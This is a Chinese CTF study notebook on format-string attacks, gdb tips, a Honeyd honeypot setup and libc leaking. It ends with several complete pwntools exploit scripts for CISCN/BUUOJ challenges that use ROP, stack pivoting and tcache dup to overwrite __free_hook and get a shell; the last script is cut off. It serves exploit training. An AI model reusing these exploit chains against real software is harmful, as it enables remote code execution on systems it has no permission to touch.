格式化字符printf汇总

▲printf的性质:

▲参数%s:这个参数其本质上是读取对应的参数,并作为指针解析,获取到对应地址的字符串输出。可以通过这个性质来泄露某个内存地址的内容:

例子:

如果输入一个%S,在调用printf之前,栈上会是这种数据,有两个相同的指向%S,一个是会解析成参数%S,一个会使用解析的参数%S作用来打印输入的%S。这里可以计算出偏移量为6,即从栈顶数第6个可以到达我们输入的内容0x0a7325。

img

1.泄露任意地址内容

1
2
3
#注释头

\x01\x80\x04\x08%x.%x.%x.%x.%s

这一段即打印从栈顶往下数5个内容的栈中保存的值,由于第5个参数是%s,所以会将第5个内容当作一个地址来解析,从而打印位于该地址上的值。所以输出应该为0xff95abb4,0x0000012B,0x08048465…..(这都是栈上的内存),最后第五个内容是0x08040801,用参数%s来解析,即打印该地址上保存的内容,地址对应的值为”ELF\x01\x01\x01\n”,这样就可以打印任意内存地址的值。常用来传入got表地址,然后借助该函数泄露某函数got表中的值,即是泄露该函数的真实地址。

▲简化使用:

如果输入的参数保存在栈上很远的位置,那么则需要叠加%x,但是实际中可以使用简单的偏移来打印:\x01\x80\x04\x08%5$s,其中5就代表从esp开始计算偏移量为6。

总的来说就是一个公式,输出偏移量为n的参数的值就是:

%(n-1)$s

(%[addr_offset_value]$[格式化控制字符])

2.任意地址可写:

特殊格式化字符%n家族:

(1)这个字符会将已经输出的字符数写入到指定内存中,例如\x8c\x97\x04\x08%[addr_offset_value]$n,这段格式化字符串会使得地址0x0804978c处的内容变成4,因为这代表了输出了\x8c\x97\x04\x08这四个字符,所以会向0x0804978c这个地址写入4,实际是写入00 00 00 04,共计四个字节。利用这个特性可以修改某个地址的值。

(2)\x8c\x97\x04\x08%2048c%(addr_offset_value)$n:这个代码会将2052,实际是(00 00 08 04) ,共计四个字节写入到地址0x0804978c,因为调用了printf会先打印\x8c\x97\x04\x08四个字符,然后依据格式化字符%2048c,再打印2048个空字符,实际打印了2048+4=2052个字符,对应16进制为0x804,所以在使用是需要减去在%这个格式化字符标志前的字符的个数才是对应的值。

(3)但是在实际中,如果我们想将一个地址的值写入到某个地址,使得可以调用,那么我们需要输入的就会变成0x8xxx….转换成十进制则会特别大,会向服务器发送0x8000…个字符,这在实际中很容易出错。这时候需要用到另一个格式化字符控制:%hhn。

(4)特殊格式化字符%hhn:这个字符可以使得一次往指定地址写入一个字节。所以我们可以将我们需要输入的地址给拆分成4个字节来输入。

(5)例如

\x78\x97\x04\x08\x79\x97\x04\x08\x7a\x97\x04\x08\x7b\x97\x04\x08%16c%5$hhn%99c%6$hhn%129c%7$hhn%4c%8$hhn

这个格式化字符串相当于四个操作:

①\x78\x97\x04\x08%16c%5$hhn:改变地址0x08049778的值为0x20。

这里是20是因为前面已经输出了\x78\x97\x04\x08\x79\x97\x04\x08\x7a\x97\x04\x08\x7b\x97\x04\x08总共16个字符,所以实际写入到地址0x08049778的值为16+16=32=0x20。

②\x79\x97\x04\x08%99c%6$hhn:改变地址0x08049779的值为99+32=131=0x83,同理,因为前面已经输出了32个字符,所以最终写入值为0x83。

③\x7a\x97\x04\x08%129c%7$hhn:改变地址0x0804977a的值为129+131=260=0x104,这里由于是使用%hhn,所以只能写入一个字符,也就是会被截断为0x04

④\x7b\x97\x04\x08%4c%8$hhn:改变地址0x0804977b的值为4+0x104=0x108=0x08。所以最终写入到地址0x08049778中的四个字节为0x08048320,完成写入地址。

总的公式:

[addr]%[padding_count]c%[addr_offset_value]$[格式化控制字符]

▲注意偏移量一直在递增。还有就是因为这是大端存储,所以写入的顺序需要计算一下,防止出现\x00导致字符串输入截断。

▲特殊格式化字符串调用类:Fmtstr

以上的可以直接改成:fmtstr_payload(5, {printf_got_addr:system_plt})将栈上偏移量为6的值改成printf_got_addr,同样将printf_got_addr的值修改为system_plt_addr。也就是在第一次用pringtf时,会修改栈和劫持printf_got_addr为system_plt_addr。下一次再调用printf时,从printf_got_addr指向的就会是system_plt_addr,完成劫持。

但是如果一旦printf_got_addr出现\x00或者不同输入函数所对应的非法字符,就会发生截断,导致出错。因为Fmtstr模块创造的payload中地址会被切割成几段,相当于我们的多段执行,那么最后的几个地址如果其中一个带了非法字符就会出错。

▲printf函数的格式化字符串常见有

(1)%d,%f,%c,%s,(用于读取内存数据)

(2)%x(输出16进制数,前面没有0x),%p(输出16进制数,前面带有0x)

(3)除了%n,%hn,%hhn,%lln,分别对应写入目标空间4字节,2字节,1字节,8字节。

▲由于使用%n之类的控制字符,输入的str(addr)为以字符串形式输入,也就是说会转换成十进制然后转换成对应的ascii码来存储在栈上,所以不会出现0x00这类的字符。但是如果是需要写入的地址,使用的是p64或者p32,这个就是直接对应的,如果这个地址中有00,那么就不会被read函数读取进入。因为read函数默认结尾是0x00,也就是字符串结束符号。所以这种情况下一般都是将p64(addr)放在payload的末尾,从而自动生成00,不会导致被截断。

★技巧总结:

1.劫持某函数为system函数时,是将Got表劫持为plt表,并且该函数的总体结构应该与system函数类似,参数应该是一个地址。

2.fmtstr模块的用法需要注意,有时候也不太好用。

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

调试常用骚操作

1.查看数据

  • 查看可能用到的变量或函数地址:magic

  • 查看指定地方地址或值:

    1
    2
    3
    4
    5
    6
    7
    #注释头

    p &__malloc_hook
    p *__malloc_hook
    p __malloc_hook
    p main_arena.bins[0]
    p main_arena.fastbinsY
  • 查看堆状态内容:

    1
    heap; vis; parseheap; bins;
  • 查看函数汇编代码:x/20i &__libc_realloc

  • 查看调用的函数:backtrace,可以查看到当前位置调用的相关堆栈及函数

2.技巧

  • 直接从Libc.so中查找函数:

    1
    readelf -s /lib/x86_64-linux-gnu/libc-2.23.so | grep -E "__malloc_hook|__free_hook|__realloc_hook"
  • 结构体的size

    1
    p sizeof((*(struct msg_queue*)0xffffffff82203e90))
  • libs:类似IDA中的ctrl+s

3.断点

  • 硬件断点:watch/awatch/rwatch *addr内存硬件断点,分别对应写/读写/读。

4.多线程

  • 查看线程:i threads

    image-20220425194911990

  • 切换线程:thread x,这个x就比如是上述3个线程中的某个线程。pwndbg中可以完美切换,并且堆方面也可以。

gef

1
2
3
4
5
decompiler connect ida --host 192.168.xxx.xxx(LAN IP) --port 3662
search-pattern
heap bins
heap chunks
heap chunk

蜜罐搭建

环境:虚拟机ubuntu18.04。

1.安装前置依赖:

1
2
3
4
sudo apt-get install g++ gcc
sudo apt-get install flex
sudo apt-get install bison
sudo apt-get install libedit-dev

2.下载前置工具:

1
2
3
4
5
6
7
8
9
10
11
#注释头
libevent-1.4.14b-stable.tar.gz
libdnet-1.11.tar.gz
libpcap-1.1.1.tar.gz
arpd-0.2.tar.gz
#注释头

http://libevent.org/
http://libdnet.sourceforge.net/
http://www.tcpdump.org/release/
http://www.citi.umich.edu/u/provos/honeyd

3.安装工具:基本都是编译三部曲

(1)安装Libevent(非同步事件通知的函数库):使用libevent,可以设定某些事件发生时所执行的函数,用来代替程序所使用的循环检查。

1
2
3
4
5
6
7
#注释头

sudo tar -zxvf libevent-1.4.14b-stable.tar.gz
cd libevent-1.4.14b-stable
sudo ./configure
sudo make
sudo make install

(2)安装Libdnet(提供跨平台的网络相关的API函数库):包括了ARP缓存,路由表查询,IP包及物理帧的传输等。

1
2
3
4
5
6
7
#注释头

sudo tar -zxvf libdnet-1.11.tar.gz
cd libdnet-1.11
sudo ./configure
sudo make
sudo make install

(3)安装Libpcap:一个数据包捕获函数库,大多数网络软件都以它为基础

1
2
3
4
5
6
7
#注释头

sudo tar -zxvf libpcap-1.1.1.tar.gz
cd libpcap-1.1.1
sudo ./configure
sudo make
sudo make install

之前装的依赖 flex bison就是为了这个。

(4)安装ARPD(运行在与Honeyd相同的系统上):arpd是honeyd众多协作工具中最重要的一个工具。工作时监听局域网内的流量,并通过查看honeyd系统的ARP表判断其他系统是否存活。在蜜罐系统中arpd可以指定IP地址,将该系统下的MAC地址伪装成指定IP的MAC地址,这样对指定IP地址范围内未使用的IP的连接访问都被重定向到蜜罐主机,然后对蜜罐主机进行相关的设置,就可以诱导攻击,截取流量。

1
2
3
4
5
6
7
8
9
#注释头

sudo tar -zxvf arpd-0.2.tar.gz
cd arpd-0.2
sudo ./configure
#报错:error:expected’)’ before string constant
#解决:在arpd.c文件中添加#define __FUNCTION__ "" #vim arpd.c添加定义
sudo make
sudo make install

img

img

4.安装蜜罐工具Honeyd:

1
2
3
4
5
6
7
8
9
#注释头

sudo tar -zxvf honeyd-1.5c.tar.gz
cd honeyd-1.5c
sudo ./configure
#报错:configure: error: Couldn't figure out how to access libc
#解决:sudo ln -s /lib/x86_64-linux-gnu/libc.so.6 /usr/lib/libc.so
sudo make
sudo make install

5.先将arpd运行起来:

(1)运行后显示链接不存在:

img

(2)解决办法:找到libevent-1.4.so.2的位置,然后将位置加到定位的文件中

whereis libevent-1.4.so.2

img

sudo vim /etc/ld.so.conf

img

sudo ldconfig #重新加载链接

(3)之后选定网卡,即可模拟IP,伪装IP的MAC地址

sudo arpd -i ens33 192.168.1.71

img

▲这里的ens33是ubuntu下用ip addr查到的,不同系统可能不同。

6.检测Honeyd是否可以运行:

(1)设置启动参数vim honeyd.conf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#注释头

# Example of a simple host template and its binding
create windows

#创建一个windows xp系统的蜜罐
set windows personality "Microsoft Windows XP Professional SP1"

#开启80端口web服务且侦听脚本为honeyd-1.5c/scripts/web.sh
add windows tcp port 80 "sh /home/hacker/Desktop/Web/Honey/honeyd- 1.5c/scripts/web.sh"

#关闭默认的tcp,udp连接
set windows default tcp action reset
set windows default udp action reset

#将windows这个蜜罐的ip绑定为192.168.40.150
bind 192.168.40.150 windows

▲注意这里面设置的IP是在局域网下的,且还没有被DHCP分配出去的可用IP。同时设置了该IP主机下的80端口,这样其他用户在访问该IP的80端口时就会运行(Web访问)

sh /home/hacker/Desktop/Web/Honey/honeyd- 1.5c/scripts/web.sh

这条命令,然后返回相应的信息。

(2)设置web.sh脚本(这可以随便设置,制作一个web前端即可,常用来钓鱼),在honeyd.conf中设置路径:在scripts下原本存在一个自带的脚本,该脚本被其他人访问运行成功后呈现如下:

img

(3)启动蜜罐honeyd:

honeyd -d -f honeyd.conf 192.168.1.2

▲这样一个蜜罐就搭建起来了,需要注意的是搭建步骤大概分为以下几步:

①利用arpd虚拟IP。

②在honey的启动参数中,也就是honey.conf中绑定虚拟的主机到虚拟IP。

③在honey.conf中设置虚拟主机的相关端口,协议等参数。

④设置端口连接后的返回信息,类似于80端口的web.sh,或者ssh连接端口的页面等等。

⑤启动honey,等待鱼儿上钩。

参考资料:

https://www.dazhuanlan.com/2019/12/17/5df842503e7a9/

https://blog.csdn.net/accepthjp/article/details/46399715

https://blog.csdn.net/zhangxuechao_/article/details/80261502

通过栈溢出获取libc地址汇总

一、使用LibcSearch

二、使用DynELF来泄露:

1.使用write函数

三个参数布局

★32位程序:直接在栈上给出参数

直接让write返回到start函数初始化程序(多用于栈溢出字节数较少)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#注释头

def leak(addr):
#io.recv(),看具体情况是否要先接收
payload = ''
payload += 'A'*n #padding
payload += p32(write_addr) #调用write
payload += p32(start_addr) #write返回到start,恢复栈
payload += p32(1) #write第一个参数fd
payload += p32(addr) #write第二个参数buf
payload += p32(8) #write第三个参数size
io.sendline(payload)
data = io.recv()[:8] #接受内容读取通过write打印的地址
print("%#x -> %s" %(addr, (data or '').encode('hex')))
#这里打印不需要也可以,只是可以打印出来让我们看到write打印了什么地 址,基本都打印了
return data
#这里return的data有很多地址,需要通过之后的DynELF来lookup对应的 地址

★64位程序:利用万能gadget来赋予参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#注释头

def leak(addr):
#print p.recv(),看具体情况是否要先接收
payload = "A" * 24
payload += p64(pop6_addr) #万能gadget1
payload += p64(0)
payload += p64(1)
payload += p64(write_got_addr) #注意这里不能用plt表
payload += p64(8)
payload += p64(addr)
payload += p64(1)#write的参数fd,1代表stdout标准输出
payload += p64(mov_call_addr) #万能gadget2
payload += "A" * 56
#padding过掉万能gadget2的判断语句,接上万能gadget1,用来填充栈
payload += p64(startAddress)#跳转start,恢复栈
p.send(payload)
data = p.recv(4)
print ("%#x => %s" % (address, (data or '').encode('hex'))
return data

2.使用put函数:

一个参数布局

puts函数比较好调用,32位下直接在栈上布局就好,64位下用一个pop rdi就完事。

puts的原型是puts(addr),即将addr作为起始地址输出字符串,直到遇到“\x00”字符为止。也就是说,puts函数输出的数据长度是不受控的,只要我们输出的信息中包含\x00截断符,输出就会终止,且会自动将”\n”追加到输出字符串的末尾,所以这里就需要针对leak函数做特殊处理。但结束不太好判断,如果只用\n来判断,那么如果需要泄露的地址最后两个字节中的有效位中带有\n(0x0a),那同样会截断,导致无法完全输出。所以这里用\n和timeout来判断,当结束字符\n出现,并且设置超时机制,出现结束字符并且没有东西再输出了,那就代表是真的结束了。由于是一个字节一个字节处理,所以如果puts函数输出完后还有其它的输出,那么就没办法知道0x0a到底是put输出的还是之后的输出函数输出的,这里主要讨论在这两种情况:

(这里也是因为TCP握手原因,TCP传输是以字节为单位进行编码传输的)

★puts输出完后没有其它输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#注释头

def leak(address):
count = 0
data = ''
payload = xxx
p.send(payload)
print p.recvuntil('xxxn') #一定要在puts前释放完输出
up = ""
while True:
#由于接收完标志字符串结束的回车符后,就没有其他输出了,故先等待0.1秒钟,如果确实接收不到 了,就说明输出结束了
#这里为了不与标志字符串结束的回车符(0x0A)混淆,所以有两个判断条件。这也利用了recv函数的timeout参数,即当timeout结束后仍得不到输出,则直接返回空字符串””
c = p.recv(numb=1, timeout=0.1)
count += 1
if up == '\n' and c == "":
#接收到的上一个字符为回车符,而当前接收不到新字符,则
buf = buf[:-1] #删除puts函数输出的末尾回车符
buf += "x00"
break
else:
buf += c
up = c
data = buf[:4] #取指定字节数
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data

★puts输出完后还有其它输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#注释头

def leak(address):
count = 0
data = ''
payload = xxx
p.send(payload)
print p.recvuntil('xxxn') #一定要在puts前释放完输出
up = ""
while True:
#由于接收完标志字符串结束的回车符后,就没有其他输出了,故先等待1秒钟,如果确实接收不到了,就说明输出结束了
#不与标志字符串结束的回车符(0x0A)混淆,这也利用了recv函数的timeout参数,即当timeout结束后仍得不到输出,则直接返回空字符串””
c = p.recv(numb=1, timeout=1)
count += 1
if up == 'n' and c == "X":
#接收到的上一个字符为回车符,下一个字符开头是X,那就结束输出。
buf = buf[:-1] #删除puts函数输出的末尾回车符
buf += "x00"
break
else:
buf += c
up = c
data = buf[:4] #从put输出开头取指定字节数
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data

▲使用printf函数:没找到具体点的,但应该和puts函数差不多,以后遇到再说。已知:

遇到\x00和\x0a会截断,然后打印的时候不会打印\x00和\x0a

三、重要注意事项:

注意程序的输入函数是什么,有些题的输入函数是scanf,那么就不支持读入空格,换行符,制表符,转换成ascii码就是:0x20,0x0a,0x09,0x00,所以当传数据的时候有这些的时候需要注意。更多查资料或者调试。

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

https://www.anquanke.com/post/id/85129

CISCN-BUU刷题记录1

1.ciscn_2019_c_1:栈溢出,调用打印函数泄露地址,万能gadget,ROP。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./ciscn_2019_c_1"
#libc.so = "./libc-2.24.so"


sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
rl = lambda :io.recvline()
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)


'''
#malloc_hook,main_aren Find
python2 LibcOffset.py libc-2.23.so
'''


local = 0
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
#libc = ELF(libc.so)
else:
p = remote("node3.buuoj.cn","28337")
elf = ELF(binary)
#libc = ELF(libc.so)

menu = "choice!\n"
pop_rdi=0x400c83
ret=0x4006b9
main=elf.sym['main']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
encrypt_addr = 0x4009A0

u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
log.info("u_gadget1:0x%x"%u_gadget1)
log.info("u_gadget2:0x%x"%u_gadget2)

payload = ""
payload += "\x00"
payload = payload.ljust(0x58,'A')
payload += p64(u_gadget1) #使用万能gadgets调用puts泄露地址
payload += p64(0x0)
payload += p64(0x1) #rbp,随便设置
payload += p64(puts_got)
payload += p64(0x8)
payload += p64(puts_got) #从该got表泄露地址
payload += p64(puts_got)
payload += p64(u_gadget2)
payload += 'A'*0x38 #栈修正
payload += p64(encrypt_addr)
#返回到function处,通常返回程序最开始来重新运行程序好再进行布置

#payload='\0'+'a'*(0x50-1+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)

ru(menu)
sl('1')
sl(payload)
ru('Ciphertext\n')
ru('\n')
puts_addr = u64(rc(6).ljust(8,'\x00'))
log.info("puts:0x%x"%u_gadget2)

obj = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - obj.dump('puts')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
log.info("binsh_addr:0x%x"%binsh_addr)


payload='\x00'+'a'*(0x50-1+8)+ p64(ret) + p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)

sl(payload)
p.interactive()

2.ciscn_2019_es_2:32位栈溢出,溢出长度不够。泄露栈地址,用ebp将栈迁移到上层函数的栈中,利用上层函数余下的汇编代码实现常规的栈溢出操作system+binsh来getshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *

#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./ciscn_2019_es_2"
#libc.so = "./libc-2.24.so"
#libc.so = ""

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

#libcsearcher use
'''
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 0
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
#libc = ELF(libc.so)
else:
p = remote("node3.buuoj.cn","28784")
elf = ELF(binary)
#libc = ELF(libc.so)

system_plt = elf.plt['system']

ru("name?\n")
payload1 = ""
payload1 += "A"*(0x24)+"B"*0x4
p.send(payload1)
ru("BBBB")
stack_addr = u32(rc(4))
ebp_addr = stack_addr-0x10
log.info("ebp_addr:0x%x"%ebp_addr)

payload2 = p32(ebp_addr-0x28+0x8) #0
#payload2 += p32(ebp_addr-0x40)
payload2 += p32(system_plt) #4
payload2 += p32(0x11111111) #padding
payload2 += p32(ebp_addr-0x28 + 20) #8 binsh_addr
payload2 += p32(ebp_addr) #12
payload2 += "/bin/sh\x00" #16
payload2 = payload2.ljust(0x28,"A")
payload2 += p32(ebp_addr-0x24) #old ebp
pause()
p.send(payload2)


p.interactive()

3.ciscn_2019_final_3:free之后指针未置空,且该2..27版的tcache存在dup漏洞。利用程序泄露堆地址,再利用dup控tcache结构体。修改一个Chunk的size域或者直接Free掉程序最开始自带的一个chunk,使其进入unsortedbin。然后在控tcache,再利用add函数泄露libc地址,改free_hook为system,free(binsh)一步getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
# -*- coding:UTF-8 -*-
from pwn import *
#from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')


binary = "./ciscn_final_3"
libc_file= "./libc.so.6"
#libc.so = ""

#libcsearcher use
'''
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 1
if local:
#p = process(binary)
p = process(binary, env={"LD_PRELOAD":"./libc.so.6"})
#elf = ELF(binary)
libc = ELF(libc_file)
else:
p = remote("node3.buuoj.cn","25451")
elf = ELF(binary)
libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

menu = "choice > "


def add(idx, size, context):
sla(menu, "1")
sla("input the index\n", str(idx))
sla("input the size\n", str(size))
sa("now you can write something\n", context)

def delete(idx):
sla(menu, "2")
sla("input the index\n", str(idx))

# def show(idx):
# sla(menu, "3")
# sla("input index:", str(idx))

# def edit(idx, num, name, con):
# sla(menu, "4")
# sla("input index:", str(idx))
# sla("phone number:", str(num))
# sa("name:", name)
# sa("des info:", con)

barray = 0x11c10

add(0,0x18,"A"*0x18)

ru("gift :")
chunk0_addr = int(rc(14)[2:14],16)-0x10
heap_base = chunk0_addr - 0x11e60
barry_addr = heap_base+0x2d0
log.info("heap_base:0x%x"%heap_base)
delete(0)

add(1,0x28,"A"*0x8) #1
delete(1) #tcache(0x78):1
delete(1) #tcache(0x78):1->1

add(2,0x28,p64(chunk0_addr-0x11c10+0x10)) #tcache(0x78):1->barry
add(3,0x28,"A") #tcache(0x78):barry
add(4,0x28,"barry")
delete(4)


add(5,0x78,"B"*0x8) #5
delete(5) #tcache(0x78):5
delete(5) #tcache(0x78):5->5
add(6,0x78,p64(heap_base+0x10)) #tcache(0x78):5->heap_base+0x10
add(7,0x78,"B"*0x8) #tcache(0x78):heap_base+0x10

add(8,0x78,"\x07"+"\x00"+"\x02"+"\x00"+"\x00"+"\x00"+"\x03"+ "\x00"*0x39+
p64(0x0)+ #0x20
p64(0x0)+ #0x30
p64(barry_addr+0x10)+ #0x40
p64(0x0)+ #0x50
p64(0x0)+ #0x60
p64(0x0)+ #0x70
p64(heap_base+0x10)) #0x80
add(9,0x38,"\x78")
pause()
add(10,0x38,"\xb0")
ru("gift :")
libc_base = int(rc(14)[2:14],16) - 0x3ebc40 - 88 -8
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
log.info("libc_base:0x%x"%libc_base)
log.info("free_hook:0x%x"%free_hook)

add(11,0x78,"\x01"+"\x00"+"\x02"+"\x00"+"\x00"+"\x00"+"\x03"+ "\x00"*0x39+
p64(free_hook)+ #0x20
p64(0x0)+ #0x30
p64(barry_addr+0x10)+ #0x40
p64(0x0)+ #0x50
p64(0x0)+ #0x60
p64(0x0)+ #0x70
p64(heap_base+0x10)) #0x80
pause()
add(12,0x18,p64(system_addr))
add(13,0x58,"/bin/sh\x00")
pause()
delete(13)
pause()
p.interactive()

4.ciscn_2019_n_3:没啥漏洞,就是程序本身问题,str为结构体型chunk,int为正常chunk,且chunk中存在函数指针,可以通过一定堆布局修改函数指针,改成system再加bash即可getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')


binary = "./ciscn_2019_n_3"
#libc.so = "./libc-2.24.so"
#libc.so = ""
#libcsearcher use
'''
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 0
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
#libc = ELF(libc.so)
else:
p = remote("node3.buuoj.cn","25896")
elf = ELF(binary)
#libc = ELF(libc.so)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

menu = "CNote > "


def add(idx, Type, length, value):
sla(menu, "1")
sla("Index > ", str(idx))
sla("Type > ", str(Type))
if Type == 1:
sla("Value > ", value)
if Type == 2:
sla("Length > ", str(length))
sla("Value > ", value)

def delete(idx):
sla(menu, "2")
sla("Index > ", str(idx))

def show(idx):
sla(menu, "3")
sla("Index > ", str(idx))

# def edit(idx, num, name, con):
# sla(menu, "4")
# sla("input index:", str(idx))
# sla("phone number:", str(num))
# sa("name:", name)
# sa("des info:", con)

#without stripped
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
main_addr = elf.sym['main']

add(0,2,0x88,'A'*10)
add(1,2,0x38,'A'*10)
add(2,1,24,'1')
delete(1)
delete(2)

add(3,2,0xc,'dash'+ p32(system_plt))
add(4,2,0x38,'BBBB')
pause()
delete(1)
p.interactive()
pause()

5.ciscn_2019_n_5:栈溢出,泄露地址ROP。没开NX,shellcode也行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *

#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./ciscn_2019_n_5"
#libc.so = "./libc-2.24.so"
#libc.so = ""

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
